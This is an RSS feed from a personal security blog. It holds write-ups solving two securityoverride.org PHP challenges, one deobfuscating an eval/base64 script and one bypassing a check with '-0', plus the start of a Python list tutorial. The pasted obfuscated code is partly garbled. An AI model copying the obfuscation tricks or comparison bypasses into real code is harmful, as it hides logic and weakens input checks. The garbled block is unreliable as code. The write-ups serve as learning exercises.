<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lagon</title>
	<atom:link href="http://lagon.eu5.org/feed" rel="self" type="application/rss+xml" />
	<link>http://lagon.eu5.org</link>
	<description>Window Kernel &#38; Web InfoSec</description>
	<lastBuildDate>Sun, 12 Apr 2015 13:56:55 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.1.1</generator>
	<item>
		<title>Understand Obfuscated PHP</title>
		<link>http://lagon.eu5.org/challenge-at-securityoverride/id=155</link>
		<comments>http://lagon.eu5.org/challenge-at-securityoverride/id=155#comments</comments>
		<pubDate>Sun, 12 Apr 2015 13:41:47 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[securityoverride.org]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=155</guid>
		<description><![CDATA[First of all, let&#8217;s see the obfuscated PHP script: Original Code From:www.securityoverride.org &#8216;s  Challenge &#160; &#60;?php session_start(); $title = &#8216;LEVENSHTEIN'; $_SERVER = $_SERVER;$_SERVER2 = $_SERVER;$_SER<a class="read-more" href="http://lagon.eu5.org/challenge-at-securityoverride/id=155">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p>First of all, let&#8217;s see the obfuscated PHP script:</p>
<p>Original Code From:<a href="www.securityoverride.org">www.securityoverride.org</a> &#8216;s  Challenge</p>
<hr />
<hr />
<p>&nbsp;</p>
<p><span style="color: #00ccff;"><code>&lt;?php<br />
session_start();</code></span></p>
<p>$title = &#8216;LEVENSHTEIN';</p>
<p>$_SERVER = $_SERVER;$_SERVER2 = $_SERVER;$_SERVER3 = $_SERVER2;$_GET=$_GET;$_u=array();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_717=base64_decode(base64_decode(/*);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global $_u; return _____($_u[0]());}function _____________________(){return &#8216;X1NFUlZFUg==';};;;;;;;;;;;;;;;;;;;;;;<br />
function _____oa($_){global $_u; $v = $_u[2](&#8216;dXcode(base64_decode(base64_encode(&#8216;V1cxR2VscFVXVEJZTWxKc1dUSTVhMXBSUFQwPQ==&#8217;)))));;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_616=$_717($_717($_717($_717(base64_encode&#8221;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()];$_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ0]);${&#8220;_g_2&#8243;} = $_uu[${&#8220;_g_1&#8243;}];if(${&#8220;efre&#8221;Vic3Ry&#8221;);return &#8220;${c3Vic3Ry}&#8221;;&#8217;);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[2]=$_616(&#8216;$_&#8217;,&#8217;$__=_a();return $__($_);&#8217;);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global*/base64_decode(base64_decode(base64_encode(&#8216;V1cxR2VscFVXVEJZTWxKc1dUSTVhMXBSUFQwPQ==&#8217;)))));;;;;;;;;;;;;;;;;<br />
$_616=$_717($_717($_717($_717(base64_encode(&#8216;V1ROS2JGbFlVbXhZTWxveFltMU9NR0ZYT1hVPQ==&#8217;)))));;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[0]=$_616(false,&#8217;$_=_a();return $_(&#8220;&#8216;.str_rot13(/*);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global $_u; return _____($_u[0]());}function _____________________(){return &#8216;X1NFUlZFUg==';};;;;;;;;;;;;;;;;;;;;;;<br />
function _____oa($_){global $_u; $v = $_u[2](&#8216;dXcode(basergrgrgrgrgrgrgrgrgrgrgrgrgrgrgrgrgergarregexKc1dUSTVhMXBSUFQwPQ==&#8217;)))));;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_616=$_717($_717($_717($_717(base64_encode&#8221;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()];$_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ0]);${&#8220;_g_2&#8243;} = $_uu[${&#8220;_g_1&#8243;}];if(${&#8220;title&#8221;Vic3Ry&#8221;);return &#8220;${c3Vic3Ry}&#8221;;&#8217;);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[2]=$_616(&#8216;$_&#8217;,&#8217;$__=_a();return $__($_);&#8217;);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global*/&#8217;H0IFIxIFK0SRESWEIHIFJI9GISWWGxqFEISIEIAHK01SIRuCERuHISOsDHAQEIOH&#8217;).'&#8221;);&#8217;);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[1]=$_616(false,&#8217;$_=_a();${&#8220;&#8216;.str_rot13(&#8216;p3Ivp3El&#8217;).'&#8221;} = $_(&#8220;c3Vic3Ry&#8221;);return &#8220;${c3Vic3Ry}&#8221;;&#8217;);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[2]=$_616(&#8216;$_&#8217;,&#8217;$__=_a();return $__($_);&#8217;);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_(/*);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFV;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global $_u; return _____($_u[0]());}function _____________________(){return &#8216;X1NFUlZFUg==';};;;;;;;;;;;;;;;;;;;;;;<br />
function _____oa($_){global $_u; $v = $_u[2](&#8216;dXcode(base64_decode(base64_encode(&#8216;V1cxR2VscFVXVEJZTWxKc1dUSTVhMXBSUFQwPQ==&#8217;)))));;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_616=$_717($_717($_717($_717(base64_encode&#8221;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()]ferfer;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global*/$__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global $_u; return _____($_u[0]());}function _____________________(){return &#8216;X1NFUlZFUg==';};;;;;;;;;;;;;;;;;;;;;;<br />
function _____oa($_){global $_u; $v = $_u[2](&#8216;dXJsZGVjb2Rl&#8217;);return $v($_);}function _____ao($_,$__){global $_u; $v = $_u[2](&#8216;cHJlZ19zcGxpdA==&#8217;);return $v($_,$__);};;;;;;;;;;;;<br />
$_uu=$$_uu;${&#8220;_o_&#8221;}=$_u[2](_____________________());${&#8220;_o_&#8221;}=$${&#8220;_o_&#8221;};${&#8220;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()];$_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ�[0]);${&#8220;_g_2&#8243;} = $_uu[${&#8220;_g_1&#8243;}];if(/*);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTX0dFVA==&#8217;);;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global $_u; return _____($_u[0]());}function _____________________(){return &#8216;X1NFUlZFUg==';};;;;;;;;;;;;;;;;;;;;;;<br />
function _____oa($_){global $_u; $v = $_u[2](&#8216;dXcode(base64_decode(base64_encode(&#8216;V1cxR2VscFVXVEJZTWxKc1dUSTVhMXBSUFQwPQ==&#8217;)))));;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_616=$_717($_717($_717($_717(base64_encode&#8221;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()];$_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ0]);${&#8220;_g_2&#8243;} = $_uu[${&#8220;_g_1&#8243;}];if(${&#8220;title&#8221;Vic3Ry&#8221;);return &#8220;${c3Vic3Ry}&#8221;;&#8217;);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br />
$_u[2]=$_616(&#8216;$_&#8217;,&#8217;$__=_a();return $__($_);&#8217;);function _a(){global $_717;${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);return &#8220;${YmFzZTY0}&#8221;;}$_uu=$_u[2](&#8216;X0dFVA==&#8217;);;;;;;;;;;;;<br />
function _____($__){global $_u; $_=$_u[1]();return $_($__,_gg(),T());}function _gg(){global $_u; return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));};;;;;;;;;;;;;;;;;;<br />
function T(){global $_u; return $_u[2](&#8216;MTI=&#8217;);}function _g(){global*/${&#8220;title&#8221;}(${&#8220;_g_1&#8243;},${&#8220;_g_2&#8243;})==0){validate_result(${&#8220;_g_2&#8243;});};;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</p>
<p><span style="color: #ff0000;">function validate_result($result){</span><br />
<span style="color: #ff0000;">        if($result === &#8216;phpinfo();&#8217;){</span><br />
<span style="color: #ff0000;">            $_SESSION[&#8220;solved_advanced_2&#8243;] = true;</span><br />
<span style="color: #ff0000;">            header(&#8220;Location:./&#8221;);</span><br />
<span style="color: #ff0000;">        }</span><br />
<span style="color: #ff0000;">    }</span></p>
<p>echo &#8220;Good luck. &lt;a href=&#8217;./&#8217;&gt;Back to the challenges main page.&lt;/a&gt;&lt;br/&gt;&lt;i&gt;Please note that you will only get feedback if you solved this challenge. Wrong attempts do not generate any output at all.&lt;/i&gt;&lt;hr/&gt;&#8221;;<br />
highlight_file(&#8216;code.php&#8217;);<br />
?&gt;</p>
<hr />
<hr />
<p>&nbsp;</p>
<p>What i need to do is to find the proper parameter(s) to make the red code (above) run correctly.</p>
<p>Therefore,I opened my everedit and modified the code to make it more readable .</p>
<p>Firstly， I deleted all comments . Secondly, we need to adjust the indentation .</p>
<p>Then the last thing is to replace some variables by its&#8217; actual value.</p>
<p>Following is the code :</p>
<hr />
<hr />
<p><span style="color: #00ffff;">&lt;?php</span><br />
<span style="color: #00ffff;">    session_start();</span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    $title = &#8216;LEVENSHTEIN';</span></p>
<p><span style="color: #00ffff;">    $_SERVER = $_SERVER;</span><br />
<span style="color: #00ffff;">    $_SERVER2 = $_SERVER;</span><br />
<span style="color: #00ffff;">    $_SERVER3 = $_SERVER2;</span><br />
<span style="color: #00ffff;">    $_GET=$_GET;</span><br />
<span style="color: #00ffff;">    $_u=array();</span><br />
<span style="color: #00ffff;">    $_717=&#8221;base64_decode&#8221;;</span><br />
<span style="color: #00ffff;">    $_616=&#8221;create_function&#8221;;</span><br />
<span style="color: #00ffff;">    /*$_u[0]=$_616(false,</span><br />
<span style="color: #00ffff;">    &#8216;$_=_a();return $_(&#8220;&#8216;.str_rot13(&#8216;H0IFIxIFK0SRESWEIHIFJI9GISWWGxqFEISIEIAHK01SIRuCERuHISOsDHAQEIOH&#8217;).'&#8221;);&#8217;);*/</span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    /*$_u[1]=$_616(false,</span><br />
<span style="color: #00ffff;">    &#8216;$_=_a();${&#8220;&#8216;.str_rot13(&#8216;p3Ivp3El&#8217;).'&#8221;} = $_(&#8220;c3Vic3Ry&#8221;);return &#8220;${c3Vic3Ry}&#8221;;&#8217;);*/</span><br />
<span style="color: #00ffff;">    $_u[0]=&#8217;SERVER_ADDRQUERY_STRINGREQUEST_METHODHTTP_ACCEPT';</span><br />
<span style="color: #00ffff;">    $_u[1]=&#8217;substr';</span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    $_u[2]=create_function(&#8216;$_&#8217;,&#8217;return base64_decode($_);&#8217;);</span><br />
<span style="color: #00ffff;">  </span><br />
<span style="color: #00ffff;">    function _a()</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_717;</span><br />
<span style="color: #00ffff;">        ${&#8216;YmFzZTY0&#8242;} = $_717(&#8216;YmFzZTY0X2RlY29kZQ==&#8217;);</span><br />
<span style="color: #00ffff;">        return &#8220;${YmFzZTY0}&#8221;;</span><br />
<span style="color: #00ffff;">    }</span></p>
<p><span style="color: #00ffff;">    //$_uu=$_u[2](&#8216;X0dFVA==&#8217;);</span><br />
<span style="color: #00ffff;">    $_uu=&#8217;_GET';</span><br />
<span style="color: #00ffff;">    function _____($__)</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u; $_=$_u[1]();</span><br />
<span style="color: #00ffff;">        //return $_u[1]($__,_gg(),T());</span><br />
<span style="color: #00ffff;">        return substr(&#8220;SERVER_ADDRQUERY_STRINGREQUEST_METHODHTTP_ACCEPT&#8221;,11,12);</span><br />
<span style="color: #00ffff;">        //QUERY_STRING</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    function _gg()</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u; </span><br />
<span style="color: #00ffff;">        return eval($_u[2](&#8216;cmV0dXJuIG9yZCgnUicpLW9yZCgnRycpOw==&#8217;));</span><br />
<span style="color: #00ffff;">    }</span></p>
<p><span style="color: #00ffff;">    function T()</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u;</span><br />
<span style="color: #00ffff;">        return $_u[2](&#8216;MTI=&#8217;);</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    function _g()</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u;</span><br />
<span style="color: #00ffff;">         //return _____($_u[0]());</span><br />
<span style="color: #00ffff;">         return _____(&#8216;    SERVER_ADDRQUERY_STRINGREQUEST_METHODHTTP_ACCEPT&#8217;);</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    function _____________________()</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        return &#8216;X1NFUlZFUg==';</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    function _____oa($_)</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u; </span><br />
<span style="color: #00ffff;">        $v = $_u[2](&#8216;dXJsZGVjb2Rl&#8217;);//urldecode</span><br />
<span style="color: #00ffff;">        return urldecode($_);</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    function _____ao($_,$__)</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        global $_u; </span><br />
<span style="color: #00ffff;">        $v = $_u[2](&#8216;cHJlZ19zcGxpdA==&#8217;);//preg_split</span><br />
<span style="color: #00ffff;">        //return $v($_,$__);</span><br />
<span style="color: #00ffff;">        return preg_split(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,</span><br />
<span style="color: #00ffff;">                $_SERVER[&#8220;QUERY_STRING&#8221;]);</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    $_uu=$$_uu;</span><br />
<span style="color: #00ffff;">    ${&#8220;_o_&#8221;}=$_u[2](_____________________());</span><br />
<span style="color: #00ffff;">    ${&#8220;_o_&#8221;}=$${&#8220;_o_&#8221;};</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_&#8221;} = ${&#8220;_o_&#8221;}[_g()];</span><br />
<span style="color: #00ffff;">    $_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ�[0]);</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_2&#8243;} = $_uu[${&#8220;_g_1&#8243;}];</span><br />
<span style="color: #00ffff;">    if(${&#8220;title&#8221;}(${&#8220;_g_1&#8243;},${&#8220;_g_2&#8243;})==0)</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        validate_result(${&#8220;_g_2&#8243;});</span><br />
<span style="color: #00ffff;">    }</span></p>
<p><span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    function validate_result($result){</span><br />
<span style="color: #00ffff;">        if($result === &#8216;phpinfo();&#8217;){</span><br />
<span style="color: #00ffff;">            $_SESSION[&#8220;solved_advanced_2&#8243;] = true;</span><br />
<span style="color: #00ffff;">            header(&#8220;Location:./&#8221;);</span><br />
<span style="color: #00ffff;">        }</span><br />
<span style="color: #00ffff;">    }</span><br />
<span style="color: #00ffff;">    </span><br />
<span style="color: #00ffff;">    echo &#8220;Good luck. &lt;a href=&#8217;./&#8217;&gt;Back to the challenges main page.&lt;/a&gt;&lt;br/&gt;&lt;i&gt;Please note that you will only get feedback if you solved this challenge. Wrong attempts do not generate any output at all.&lt;/i&gt;&lt;hr/&gt;&#8221;;</span><br />
<span style="color: #00ffff;">    highlight_file(&#8216;code.php&#8217;);</span><br />
<span style="color: #00ffff;">?&gt;</span></p>
<hr />
<hr />
<p>&nbsp;</p>
<p>Much more clear now!^_^</p>
<p>Next, we should extract all the sentences which will be executed directly.</p>
<p>(To make the whole process more clear)。</p>
<p>And here it&#8217;s the  code:</p>
<hr />
<hr />
<p><span style="color: #00ffff;">$_uu=&#8217;_GET';</span><br />
<span style="color: #00ffff;">    $_uu=$_GET;</span><br />
<span style="color: #00ffff;">    ${&#8220;_o_&#8221;}=&#8217;_SERVER';</span><br />
<span style="color: #00ffff;">    ${&#8220;_o_&#8221;}=$_SERVER;</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_&#8221;} = $_SERVER[&#8220;QUERY_STRING&#8221;];</span><br />
<span style="color: #00ffff;">    $_ЁЁЁ� = _____ao(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,${&#8220;_g_&#8221;});</span><br />
<span style="color: #00ffff;">    //preg_split(&#8216;/(?!\\##\$\$\$uu)=/&#8217;,</span><br />
<span style="color: #00ffff;">                //$_SERVER[&#8220;QUERY_STRING&#8221;]);</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_1&#8243;} = _____oa($_ЁЁЁ�[0]);</span><br />
<span style="color: #00ffff;">    ${&#8220;_g_2&#8243;} = $_GET[${&#8220;_g_1&#8243;}];</span><br />
<span style="color: #00ffff;">    if(${&#8220;title&#8221;}(${&#8220;_g_1&#8243;},${&#8220;_g_2&#8243;})==0)</span><br />
<span style="color: #00ffff;">    {</span><br />
<span style="color: #00ffff;">        validate_result(${&#8220;_g_2&#8243;});</span><br />
<span style="color: #00ffff;">    }</span></p>
<hr />
<hr />
<p>&nbsp;</p>
<p>Ok,Let&#8217;s deal with the final part &#8212; understand the whole PHP code.</p>
<p>I don&#8217;t want to talk about the detail of calculating.</p>
<p>The way  to  deal with  obfuscated code is more valuable!</p>
<p>Here is the answer:<strong><span style="color: #ff0000;">?phpinfo();=phpinfo();</span></strong> (Adding this code to the end of the  url);</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/challenge-at-securityoverride/id=155/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Funny Challenge About Pass a PHP Script</title>
		<link>http://lagon.eu5.org/challenge-at-securityoverride/id=142</link>
		<comments>http://lagon.eu5.org/challenge-at-securityoverride/id=142#comments</comments>
		<pubDate>Fri, 10 Apr 2015 16:10:18 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[securityoverride.org]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=142</guid>
		<description><![CDATA[I got a funny challenge from securityoverride.org&#8217;s Advanced Level 1. The challenge is a section of PHP Script. Following is the script: &#160;  &#60;?php                 $input = trim(getUserInput());                 if(    <a class="read-more" href="http://lagon.eu5.org/challenge-at-securityoverride/id=142">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p>I got a funny challenge from securityoverride.org&#8217;s Advanced Level 1.</p>
<p>The challenge is a section of PHP Script.</p>
<p>Following is the script:</p>
<hr />
<p>&nbsp;</p>
<p><strong><span style="color: #ff0000; background-color: #f0ffff;"> &lt;?php</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                $input = trim(getUserInput());</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                if(</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    str_split($input) == array(0,0,0,0) ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    strcmp($input, &#8220;0000&#8221;) == 0 ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    strcmp($input, &#8220;000&#8221;) == 0 ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    strcmp($input, &#8220;00&#8221;) == 0 ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    strcmp($input, &#8220;0&#8221;) == 0 ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    $input === 0 ||</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                    preg_match(&#8220;/^[\d]{1,}$/D&#8221;, $input)</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                )fail_advanced_1();</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                </span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">                if($input == &#8220;0000&#8221;) complete_advanced_1();</span></strong><br />
<strong><span style="color: #ff0000; background-color: #f0ffff;">   ?&gt;</span> </strong></p>
<hr />
<p>After a long time thinking,I found that a different equation&#8221;<span style="color: #ff0000;">$input === 0</span>&#8220;,which means <span style="color: #ff0000;"><strong>Strict comparisons</strong><span style="color: #000000;">!!!!</span></span></p>
<p>So we just need to input &#8220;-0&#8243;(negative 0)to pass the script!</p>
<p>&nbsp;</p>
<p><a href="http://php.net/manual/en/types.comparisons.php" target="_blank">PHP type comparisons</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/challenge-at-securityoverride/id=142/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Python Learning Diaries[1]:List &amp; Tuple</title>
		<link>http://lagon.eu5.org/language/py/id=129</link>
		<comments>http://lagon.eu5.org/language/py/id=129#comments</comments>
		<pubDate>Sun, 14 Sep 2014 08:38:00 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=129</guid>
		<description><![CDATA[#1. Common Sequence Operations Indexing Start counting from 0 and end with -1 &#62;&#62;&#62; a=[0,1,2,3,4,5,6,7,8,9] &#62;&#62;&#62; a[0] 0 &#62;&#62;&#62; a[-1] 9 &#160; Slicing Slicing is done by two colon-separate indices. The first in<a class="read-more" href="http://lagon.eu5.org/language/py/id=129">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<h1>#1. Common Sequence Operations</h1>
<p><strong>Indexing</strong></p>
<p>Start counting from 0 and end with -1</p>
<blockquote><p>&gt;&gt;&gt; a=[0,1,2,3,4,5,6,7,8,9]</p>
<p>&gt;&gt;&gt; a[0]</p>
<p>0</p>
<p>&gt;&gt;&gt; a[-1]</p>
<p>9</p></blockquote>
<p>&nbsp;</p>
<p><strong>Slicing</strong></p>
<p>Slicing is done by two colon-separate indices.</p>
<p>The first index is the number of the first element you want to include. But the last index is the number of the first element after your slice.</p>
<p>slicedString = aString[beginIndex:endIndex]</p>
<blockquote><p>&nbsp;</p>
<p>&gt;&gt;&gt; a=[0,1,2,3,4,5,6,7,8,9]</p>
<p>&gt;&gt;&gt; a[0:1]</p>
<p>[0]</p>
<p>&gt;&gt;&gt; a[0:5]</p>
<p>[0, 1, 2, 3, 4]</p></blockquote>
<p>&nbsp;</p>
<p>If the slice continues to the end of the sequence,you may simply leave out the last index.</p>
<blockquote><p>&gt;&gt;&gt; a[5:]</p>
<p>[5, 6, 7, 8, 9]</p>
